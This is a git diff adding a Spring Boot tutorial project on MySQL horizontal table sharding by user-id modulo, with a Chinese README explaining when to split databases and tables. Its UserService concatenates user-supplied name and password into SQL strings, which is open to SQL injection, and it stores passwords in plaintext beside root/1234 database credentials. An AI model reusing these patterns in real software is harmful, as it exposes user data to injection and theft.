+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_autoconfigure_1_3_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_1_3_3_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_1_3_3_RELEASE.xml
new file mode 100644
index 0000000..e0d745d
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_1_3_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_jdbc_1_3_3_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_jdbc_1_3_3_RELEASE.xml
new file mode 100644
index 0000000..463f08d
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_jdbc_1_3_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_logging_1_3_3_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_logging_1_3_3_RELEASE.xml
new file mode 100644
index 0000000..0137f8b
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_logging_1_3_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_test_1_3_3_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_test_1_3_3_RELEASE.xml
new file mode 100644
index 0000000..11b70cf
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_test_1_3_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_tomcat_1_3_3_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_tomcat_1_3_3_RELEASE.xml
new file mode 100644
index 0000000..6a1c887
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_tomcat_1_3_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_validation_1_3_3_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_validation_1_3_3_RELEASE.xml
new file mode 100644
index 0000000..edd79a7
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_validation_1_3_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_web_1_3_3_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_web_1_3_3_RELEASE.xml
new file mode 100644
index 0000000..b33f9cc
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_starter_web_1_3_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_aop_4_2_5_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_aop_4_2_5_RELEASE.xml
new file mode 100644
index 0000000..7388c82
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_aop_4_2_5_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_beans_4_2_5_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_beans_4_2_5_RELEASE.xml
new file mode 100644
index 0000000..6959be5
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_beans_4_2_5_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_context_4_2_5_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_context_4_2_5_RELEASE.xml
new file mode 100644
index 0000000..d71e0a4
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_context_4_2_5_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_core_4_2_5_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_core_4_2_5_RELEASE.xml
new file mode 100644
index 0000000..9c970d9
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_core_4_2_5_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_expression_4_2_5_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_expression_4_2_5_RELEASE.xml
new file mode 100644
index 0000000..c9285e1
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_expression_4_2_5_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_jdbc_4_2_5_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_jdbc_4_2_5_RELEASE.xml
new file mode 100644
index 0000000..3beb055
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_jdbc_4_2_5_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_test_4_2_5_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_test_4_2_5_RELEASE.xml
new file mode 100644
index 0000000..ff922bd
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_test_4_2_5_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_tx_4_2_5_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_tx_4_2_5_RELEASE.xml
new file mode 100644
index 0000000..2454e0b
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_tx_4_2_5_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_web_4_2_5_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_web_4_2_5_RELEASE.xml
new file mode 100644
index 0000000..6646dba
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_web_4_2_5_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_webmvc_4_2_5_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_webmvc_4_2_5_RELEASE.xml
new file mode 100644
index 0000000..20be062
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_spring_webmvc_4_2_5_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_yaml_snakeyaml_1_16.xml b/mysql_split_horizon/.idea/libraries/Maven__org_yaml_snakeyaml_1_16.xml
new file mode 100644
index 0000000..3fbdbce
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_yaml_snakeyaml_1_16.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/misc.xml b/mysql_split_horizon/.idea/misc.xml
new file mode 100644
index 0000000..5755a99
--- /dev/null
+++ b/mysql_split_horizon/.idea/misc.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/modules.xml b/mysql_split_horizon/.idea/modules.xml
new file mode 100644
index 0000000..fb4ab7f
--- /dev/null
+++ b/mysql_split_horizon/.idea/modules.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/workspace.xml b/mysql_split_horizon/.idea/workspace.xml
new file mode 100644
index 0000000..db2c5f9
--- /dev/null
+++ b/mysql_split_horizon/.idea/workspace.xml
@@ -0,0 +1,556 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+ DEFINITION_ORDER
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Android
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1517839207462
+
+
+ 1517839207462
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1.7
+
+
+
+
+
+
+
+
+
+
+
+ 1.7
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/README.md b/mysql_split_horizon/README.md
new file mode 100644
index 0000000..4d7c14c
--- /dev/null
+++ b/mysql_split_horizon/README.md
@@ -0,0 +1,200 @@
+
+分表分库
+
+当项目比较大的时候,基本上都会进行分表分库的
+后面就讲讲什么时候需要分库,什么时候需要分表
+
+# 什么时候需要分库
+## 垂直分割
+垂直拆分就是要把表按模块划分到不同数据库表中(当然原则还是不破坏第三范式),这种拆分在大型网站的演变过程中是很常见的。当一个网站还在很小的时候,只有小量的人来开发和维护,各模块和表都在一起,当网站不断丰富和壮大的时候,也会变成多个子系统来支撑,这时就有按模块和功能把表划分出来的需求。其实,相对于垂直切分更进一步的是服务化改造,说得简单就是要把原来强耦合的系统拆分成多个弱耦合的服务,通过服务间的调用来满足业务需求看,因此表拆出来后要通过服务的形式暴露出去,而不是直接调用不同模块的表,淘宝在架构不断演变过程,最重要的一环就是服务化改造,把用户、交易、店铺、宝贝这些核心的概念抽取成独立的服务,也非常有利于进行局部的优化和治理,保障核心模块的稳定性
+垂直拆分用于分布式场景。
+当大团队在做电商项目的时候,基本上都会将一个项目进行拆分,拆分成n个小项目
+这样做的好处就是,基于逆向服务架构,会拆分多个小项目,每个小项目都有自己单独的数据库,这样的话小项目之间互不影响。
+这样叫做垂直分割。
+比如:
+会员数据库、订单数据库、支付数据库等等这样来分
+可以减低开发团队之间的耦合度。就比如,某个团队把一个数据库弄挂了,对另外的团队基本没有影响。假如全部用的一个数据库,是不是全部都挂了,所有用到那个数据库的团队项目进度都要延期
+
+
+# 什么时候需要分表
+## 水平分割
+上面谈到垂直切分只是把表按模块划分到不同数据库,但没有解决单表大数据量的问题,而水平切分就是要把一个表按照某种规则把数据划分到不同表或数据库里。例如像计费系统,通过按时间来划分表就比较合适,因为系统都是处理某一时间段的数据。而像SaaS应用,通过按用户维度来划分数据比较合适,因为用户与用户之间的隔离的,一般不存在处理多个用户数据的情况,简单的按user_id范围来水平切分
+
+为什么需要分表,就比如,一个表,几十年的数据全部在那个表中,查找,无论你加索引还是怎么,查询都需要很长的时间。
+这个时候就需要做一个分表、分表的规则,一般按照业务需求来定。没有统一的分法。
+比如:
+我们的业务场景,主要是存放日志的,日志是需要按照每年存放的
+这个时候分表的话,就根据年份来分
+
+再如腾讯的QQ号,根据什么来分表
+如果是根据位数,最大的缺点是分部不均匀!
+另外如会员系统,通过手机号登录。会员表中
+可以通过手机号前三位分表(有一些项目是这样做的,没多大问题),比如136 138 155等,但是都不是怎么均匀
+
+最好通过水平分割(取模算法)来分割
+
+假如我们需要把一个表分成3个表,我们可以把一个是数字的字段,比如int主键(userid)。
+这个时候,我们可以对表中数据的userid字段对3进行取模,然后对于不同的余数进行分表
+这里的取模字段不能用自动增长的
+实现取模算法,我们需要有专门的一张表存放对应的userid字段(用来取模的字段)。
+在插入行时,先生成id,然后在该表中取出对应的userid,然后赋值过去
+
+是否需要分表,这个依据项目经验和实际业务情况来的。一般MySQL单表1000W左右的数据是没有问题的(前提是应用系统和数据库等层面设计和优化的比较好)
+当然,如果需要分表,肯定是需要提前计划半年或者一年计划的。
+
+
+通俗理解垂直分割和水平分割:水平拆分行,行数据拆分到不同表中, 垂直拆分列,表数据拆分到不同表中
+
+# 水平分割取模算法案例
+
+使用取模算法分表的最大好处就是,可以非常均匀的分配
+
+首先创建三张表 user0 / user1 /user2 , 然后我再创建 uuid表,该表的作用就是提供自增的id。
+创建数据库: split_horizon
+```sql
+create table user0(
+ id int unsigned primary key ,
+ name varchar(32) not null default '',
+ pwd varchar(32) not null default ''
+)engine=myisam charset utf8;
+
+create table user1(
+ id int unsigned primary key ,
+ name varchar(32) not null default '',
+ pwd varchar(32) not null default ''
+)engine=myisam charset utf8;
+
+create table user2(
+ id int unsigned primary key ,
+ name varchar(32) not null default '',
+ pwd varchar(32) not null default ''
+)engine=myisam charset utf8;
+
+
+create table uuid(
+ id int unsigned primary key auto_increment
+)engine=myisam charset utf8;
+```
+
+功能就是 注册分表,以及进行分表查询
+项目很简单,看下了解下分表是怎么回事就好,
+
+## Service代码
+```java
+package com.uifuture.service;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.jdbc.core.JdbcTemplate;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2018/2/5.
+ * Time: 下午 10:28.
+ * Explain:
+ */
+@Service
+public class UserService {
+
+ @Autowired
+ private JdbcTemplate jdbcTemplate;
+
+ /**
+ * 注册的代码
+ * @param name
+ * @param pwd
+ * @return
+ */
+ public String regit(String name,String pwd){
+ //1.生成userid ,- 先获取到 自定增长ID
+ String insertUUidSql = "insert into uuid values(null)";//插入空数据,这里的id是自动增长的
+ jdbcTemplate.update(insertUUidSql);//执行
+ Long userid = jdbcTemplate.queryForObject("select last_insert_id()", Long.class);//查询到最近的添加的主键id
+ //2.存放具体的那张表中 - 也就是判断存储表名称
+ String tableName = "user" + userid % 3;
+ //3.插入到具体的表中去- 注册数据
+ String insertUserSql = "INSERT INTO " + tableName + " VALUES ('" + userid + "','" + name + "','" + pwd + "');";
+ System.out.println("insertUserSql:" + insertUserSql);
+ jdbcTemplate.update(insertUserSql);
+ return "success";
+ }
+
+ /**
+ * 通过userid查询name
+ * @param userid
+ * @return
+ */
+ public String get(Long userid) {
+ //具体哪张表
+ String tableName = "user" + userid % 3;
+ String sql = "select name from " + tableName + " where id="+userid;
+ System.out.println("SQL:" + sql);
+ return jdbcTemplate.queryForObject(sql, String.class);//执行查询出name
+ }
+
+
+}
+
+```
+## Controller代码
+```java
+package com.uifuture.controller;
+
+import com.uifuture.service.UserService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2018/2/5.
+ * Time: 下午 10:44.
+ * Explain:
+ */
+@RestController
+public class UserController {
+ @Autowired
+ private UserService userService;
+
+ /**
+ * 演示注册的入口
+ * @param name
+ * @param pwd
+ * @return
+ */
+ @RequestMapping("/regit")
+ public String regit(String name, String pwd) {
+ return userService.regit(name, pwd);
+ }
+
+ /**
+ * 演示获取name
+ * @param id
+ * @return
+ */
+ @RequestMapping("/get")
+ public String get(Long id) {
+ return userService.get(id);
+ }
+
+}
+
+```
+其他的代码就见项目啦
+
+
+分表之后也有些缺点。
+1.分页查询
+2.查询非常受限制
+比如我不查询那个分表的关键字段
+
+所以一般会有主表和次表
+主表存放所有的数据。次表根据具体业务需求进行分表
+还有mycar中间件具有分表功能,可以学学
+
+取模算法的缺点,如果我们的表发生改变,需要我们重新分,很麻烦
+(哈哈,可以使用阿里云的rds云数据库,这样就不用我们关心读写分离,分表分库等等。rds是二次开发的数据库,所以在性能上来说,比其他的关系型数据库是快很多的。可以自己去了解下)
+
+
diff --git a/mysql_split_horizon/mysql_split_horizon.iml b/mysql_split_horizon/mysql_split_horizon.iml
new file mode 100644
index 0000000..2ba8d5d
--- /dev/null
+++ b/mysql_split_horizon/mysql_split_horizon.iml
@@ -0,0 +1,66 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/pom.xml b/mysql_split_horizon/pom.xml
new file mode 100644
index 0000000..79bbdc6
--- /dev/null
+++ b/mysql_split_horizon/pom.xml
@@ -0,0 +1,40 @@
+
+
+ 4.0.0
+
+ com.uifuture
+ mysql_split_horizon
+ 1.0-SNAPSHOT
+
+ org.springframework.boot
+ spring-boot-starter-parent
+ 1.3.3.RELEASE
+
+
+
+ org.springframework.boot
+ spring-boot-starter-jdbc
+
+
+ org.springframework.boot
+ spring-boot-starter
+
+
+ org.springframework.boot
+ spring-boot-starter-test
+ test
+
+
+ mysql
+ mysql-connector-java
+
+
+ org.springframework.boot
+ spring-boot-starter-web
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/src/main/java/com/uifuture/App.java b/mysql_split_horizon/src/main/java/com/uifuture/App.java
new file mode 100644
index 0000000..dac3198
--- /dev/null
+++ b/mysql_split_horizon/src/main/java/com/uifuture/App.java
@@ -0,0 +1,18 @@
+package com.uifuture;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2018/2/5.
+ * Time: 下午 10:47.
+ * Explain:
+ */
+@SpringBootApplication
+public class App {
+ public static void main(String[] args) {
+ SpringApplication.run(App.class,args);
+ }
+}
diff --git a/mysql_split_horizon/src/main/java/com/uifuture/controller/UserController.java b/mysql_split_horizon/src/main/java/com/uifuture/controller/UserController.java
new file mode 100644
index 0000000..8ce8f4a
--- /dev/null
+++ b/mysql_split_horizon/src/main/java/com/uifuture/controller/UserController.java
@@ -0,0 +1,41 @@
+package com.uifuture.controller;
+
+import com.uifuture.service.UserService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2018/2/5.
+ * Time: 下午 10:44.
+ * Explain:
+ */
+@RestController
+public class UserController {
+ @Autowired
+ private UserService userService;
+
+ /**
+ * 演示注册的入口
+ * @param name
+ * @param pwd
+ * @return
+ */
+ @RequestMapping("/regit")
+ public String regit(String name, String pwd) {
+ return userService.regit(name, pwd);
+ }
+
+ /**
+ * 演示获取name
+ * @param id
+ * @return
+ */
+ @RequestMapping("/get")
+ public String get(Long id) {
+ return userService.get(id);
+ }
+
+}
diff --git a/mysql_split_horizon/src/main/java/com/uifuture/service/UserService.java b/mysql_split_horizon/src/main/java/com/uifuture/service/UserService.java
new file mode 100644
index 0000000..16ffafc
--- /dev/null
+++ b/mysql_split_horizon/src/main/java/com/uifuture/service/UserService.java
@@ -0,0 +1,54 @@
+package com.uifuture.service;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.jdbc.core.JdbcTemplate;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2018/2/5.
+ * Time: 下午 10:28.
+ * Explain:
+ */
+@Service
+public class UserService {
+
+ @Autowired
+ private JdbcTemplate jdbcTemplate;
+
+ /**
+ * 注册的代码
+ * @param name
+ * @param pwd
+ * @return
+ */
+ public String regit(String name,String pwd){
+ //1.生成userid ,- 先获取到 自定增长ID
+ String insertUUidSql = "insert into uuid values(null)";//插入空数据,这里的id是自动增长的
+ jdbcTemplate.update(insertUUidSql);//执行
+ Long userid = jdbcTemplate.queryForObject("select last_insert_id()", Long.class);//查询到最近的添加的主键id
+ //2.存放具体的那张表中 - 也就是判断存储表名称
+ String tableName = "user" + userid % 3;
+ //3.插入到具体的表中去- 注册数据
+ String insertUserSql = "INSERT INTO " + tableName + " VALUES ('" + userid + "','" + name + "','" + pwd + "');";
+ System.out.println("insertUserSql:" + insertUserSql);
+ jdbcTemplate.update(insertUserSql);
+ return "success";
+ }
+
+ /**
+ * 通过userid查询name
+ * @param userid
+ * @return
+ */
+ public String get(Long userid) {
+ //具体哪张表
+ String tableName = "user" + userid % 3;
+ String sql = "select name from " + tableName + " where id="+userid;
+ System.out.println("SQL:" + sql);
+ return jdbcTemplate.queryForObject(sql, String.class);//执行查询出name
+ }
+
+
+}
diff --git a/mysql_split_horizon/src/main/resources/application.properties b/mysql_split_horizon/src/main/resources/application.properties
new file mode 100644
index 0000000..540e2f5
--- /dev/null
+++ b/mysql_split_horizon/src/main/resources/application.properties
@@ -0,0 +1,4 @@
+spring.datasource.url=jdbc:mysql://localhost:3306/split_horizon
+spring.datasource.username=root
+spring.datasource.password=1234
+spring.datasource.driver-class-name=com.mysql.jdbc.Driver
diff --git a/mysql_split_horizon/src/main/resources/split_horizon.sql b/mysql_split_horizon/src/main/resources/split_horizon.sql
new file mode 100644
index 0000000..01b171d
--- /dev/null
+++ b/mysql_split_horizon/src/main/resources/split_horizon.sql
@@ -0,0 +1,74 @@
+/*
+Navicat MySQL Data Transfer
+
+Source Server : uifuture
+Source Server Version : 50714
+Source Host : localhost:3306
+Source Database : split_horizon
+
+Target Server Type : MYSQL
+Target Server Version : 50714
+File Encoding : 65001
+
+Date: 2018-02-05 22:24:36
+*/
+
+SET FOREIGN_KEY_CHECKS=0;
+
+-- ----------------------------
+-- Table structure for user0
+-- ----------------------------
+DROP TABLE IF EXISTS `user0`;
+CREATE TABLE `user0` (
+ `id` int(10) unsigned NOT NULL,
+ `name` varchar(32) NOT NULL DEFAULT '',
+ `pwd` varchar(32) NOT NULL DEFAULT '',
+ PRIMARY KEY (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+
+-- ----------------------------
+-- Records of user0
+-- ----------------------------
+
+-- ----------------------------
+-- Table structure for user1
+-- ----------------------------
+DROP TABLE IF EXISTS `user1`;
+CREATE TABLE `user1` (
+ `id` int(10) unsigned NOT NULL,
+ `name` varchar(32) NOT NULL DEFAULT '',
+ `pwd` varchar(32) NOT NULL DEFAULT '',
+ PRIMARY KEY (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+
+-- ----------------------------
+-- Records of user1
+-- ----------------------------
+
+-- ----------------------------
+-- Table structure for user2
+-- ----------------------------
+DROP TABLE IF EXISTS `user2`;
+CREATE TABLE `user2` (
+ `id` int(10) unsigned NOT NULL,
+ `name` varchar(32) NOT NULL DEFAULT '',
+ `pwd` varchar(32) NOT NULL DEFAULT '',
+ PRIMARY KEY (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+
+-- ----------------------------
+-- Records of user2
+-- ----------------------------
+
+-- ----------------------------
+-- Table structure for uuid
+-- ----------------------------
+DROP TABLE IF EXISTS `uuid`;
+CREATE TABLE `uuid` (
+ `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
+ PRIMARY KEY (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+
+-- ----------------------------
+-- Records of uuid
+-- ----------------------------
diff --git a/mysql_split_horizon/target/classes/application.properties b/mysql_split_horizon/target/classes/application.properties
new file mode 100644
index 0000000..540e2f5
--- /dev/null
+++ b/mysql_split_horizon/target/classes/application.properties
@@ -0,0 +1,4 @@
+spring.datasource.url=jdbc:mysql://localhost:3306/split_horizon
+spring.datasource.username=root
+spring.datasource.password=1234
+spring.datasource.driver-class-name=com.mysql.jdbc.Driver
diff --git a/mysql_split_horizon/target/classes/com/uifuture/App.class b/mysql_split_horizon/target/classes/com/uifuture/App.class
new file mode 100644
index 0000000..8740d44
Binary files /dev/null and b/mysql_split_horizon/target/classes/com/uifuture/App.class differ
diff --git a/mysql_split_horizon/target/classes/com/uifuture/controller/UserController.class b/mysql_split_horizon/target/classes/com/uifuture/controller/UserController.class
new file mode 100644
index 0000000..a7111c6
Binary files /dev/null and b/mysql_split_horizon/target/classes/com/uifuture/controller/UserController.class differ
diff --git a/mysql_split_horizon/target/classes/com/uifuture/service/UserService.class b/mysql_split_horizon/target/classes/com/uifuture/service/UserService.class
new file mode 100644
index 0000000..84114a4
Binary files /dev/null and b/mysql_split_horizon/target/classes/com/uifuture/service/UserService.class differ
diff --git a/springBoot/.idea/compiler.xml b/springBoot/.idea/compiler.xml
new file mode 100644
index 0000000..8822f76
--- /dev/null
+++ b/springBoot/.idea/compiler.xml
@@ -0,0 +1,32 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/copyright/profiles_settings.xml b/springBoot/.idea/copyright/profiles_settings.xml
new file mode 100644
index 0000000..e7bedf3
--- /dev/null
+++ b/springBoot/.idea/copyright/profiles_settings.xml
@@ -0,0 +1,3 @@
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__aopalliance_aopalliance_1_0.xml b/springBoot/.idea/libraries/Maven__aopalliance_aopalliance_1_0.xml
new file mode 100644
index 0000000..30ff5cb
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__aopalliance_aopalliance_1_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__commons_io_commons_io_2_4.xml b/springBoot/.idea/libraries/Maven__commons_io_commons_io_2_4.xml
new file mode 100644
index 0000000..bc2aad0
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__commons_io_commons_io_2_4.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__commons_logging_commons_logging_1_2.xml b/springBoot/.idea/libraries/Maven__commons_logging_commons_logging_1_2.xml
new file mode 100644
index 0000000..eab40b3
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__commons_logging_commons_logging_1_2.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__javax_annotation_jsr250_api_1_0.xml b/springBoot/.idea/libraries/Maven__javax_annotation_jsr250_api_1_0.xml
new file mode 100644
index 0000000..e367958
--- /dev/null
